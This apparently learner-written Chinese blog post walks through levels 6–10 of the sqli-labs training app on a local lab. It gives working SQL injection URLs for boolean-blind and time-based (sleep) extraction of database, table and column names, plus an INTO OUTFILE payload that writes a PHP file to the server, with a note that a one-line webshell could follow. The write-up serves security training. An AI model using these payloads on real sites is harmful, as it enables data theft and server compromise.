生命在于折腾——SQL注入的实操(二)less6-10

一、实操环境

1、操作系统

  1. VMware虚拟机创建的win10系统
  2. 内存8GB
  3. 硬盘255GB
  4. 处理器AMD Ryzen 9 5900HX

2、操作项目

sql-lib项目,本篇文章介绍关卡6-10。

3、工具版本

  1. phpstudy 8.1.1.3
  2. php版本 5.4.45nts
  3. Apache2.4.39
  4. MySQL5.7.26
  5. Chrome

4、SQL注入目的

  1. 判断是否允许注入
  2. 判断注入点类型
  3. 判断回显点
  4. 获取数据库信息
  5. 获取表信息
  6. 获取字段信息

二、less-6

1、判断注入类型

首先输入?id=1,发现显示You are in…,如果输入?id=1’,正常,如果输入?id=1’‘,则会报错,所以我们先将’'注释掉。
在这里插入图片描述

2、判断回显点和字段数

剩下的和第五关一样了,只是单引号变成了双引号。
http://sql/Less-6/?id=1" order by 3–+
在这里插入图片描述

3、获取数据库信息

(1)获取库名长度

http://sql/Less-6/?id=1" and length(database())=8–+
在这里插入图片描述

(2)获取库名

http://sql/Less-6/?id=1" and ascii(substr(database(),1,1))=115–+
在这里插入图片描述

4、获取表信息

(1)获取表名长度

http://sql/Less-6/?id=1" and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))=6–+
在这里插入图片描述

(2)获取表名

http://sql/Less-6/?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101–+
在这里插入图片描述

5、获取字段信息

http://sql/Less-6/?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))=105–+
在这里插入图片描述
在这里插入图片描述

三、less-7

1、这一关比较复杂

输入?id=1,发现显示You are in…Use outfile,在数据库中,file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在文件的权限,into outfile命令是file系列函数来进行读取敏感文件或者写入webshell的。这里需要多次尝试,最后发现是1’)),这一关主要是往服务器上写入文件,比如一句话木马什么的,需要一个存储文件的路径。这里使用@@basedir和@@datadir。
需要在前几关查找参数。
在第二关找到位置。
在这里插入图片描述
然后插入在路径下写入一个文件名为test的php文件,注意这里路径要用双反斜杠,否则新建的文件名会加前缀。http://sql/Less-7/?id=1’)) union select 1,2,3 into outfile “E:\phpstudy_pro\Extensions\MySQL5.7.26\data\test.php”–+(注意是双反斜杠,这里一个斜杠是显示错误
虽然会报错,但还是可以发现成功了。
在这里插入图片描述

在这里插入图片描述
打开文件可以发现里面有信息。
在这里插入图片描述
之后可以写入一句话木马,使用菜刀工具顺藤摸瓜找到数据库管理员密码。

四、less-8

1、判断注入类型

输入?id=1正常显示,输入?id=1’返回为空,输入?id=1’'正常显示,通过回显信息可以看出是字符型注入,而且是布尔盲注,接下来就和上一文章的less5一样了,根据回显判断。

2、判断回显点和字段数

在这里插入图片描述

3、获取数据库信息

(1)获取库名长度

在这里插入图片描述

(2)获取库名

在这里插入图片描述

4、获取表信息

(1)获取表名长度

在这里插入图片描述

(2)获取表名

在这里插入图片描述

5、获取字段信息

在这里插入图片描述

五、less-9

1、判断注入类型

首先判断是字符型注入,而且报错注入也不能用,所以尝试延迟注入,发现使用><判断的时候都是对的,所以布尔也不能用。
在这里发现输入http://sql/Less-9/?id=1’ and if(1=2,1,sleep(5)) --+闭合。
在这里插入图片描述

2、获取数据库信息

(1)获取库名长度

可以看到转圈圈。
在这里插入图片描述

(2)获取库名

获取库名。
在这里插入图片描述

3、获取表信息

在这里插入图片描述

4、获取字段信息

和less5一样。

六、less-10

1、判断注入类型

这一关就是双引号了,sleep生效。
http://sql/Less-10/?id=1" and if(1=2,1,sleep(5)) %23
在这里插入图片描述

2、获取数据库信息

(1)获取库名长度

输入http://sql/Less-10/?id=1" and if(length(database())<9,sleep(10),1) %23。
在这里插入图片描述

(2)获取库名

输入http://sql/Less-10/?id=1" and if(ascii(substring(database(),1,1))=‘110’,1,sleep(5)) %23。可以获取。
在这里插入图片描述

3、获取表信息

(1)获取表名长度

输入http://sql/Less-10/?id=1"and if((select count(*)from information_schema.tables where table_schema=database() )=4,sleep(5),1) %23,发现有四张表,用length可以判断长度。
在这里插入图片描述

剩下的就和第九关一样了。

七、总结与小记

本篇文章为sql-lib的第六关到第十关,还在初学阶段,请各位海涵。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

「已注销」

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值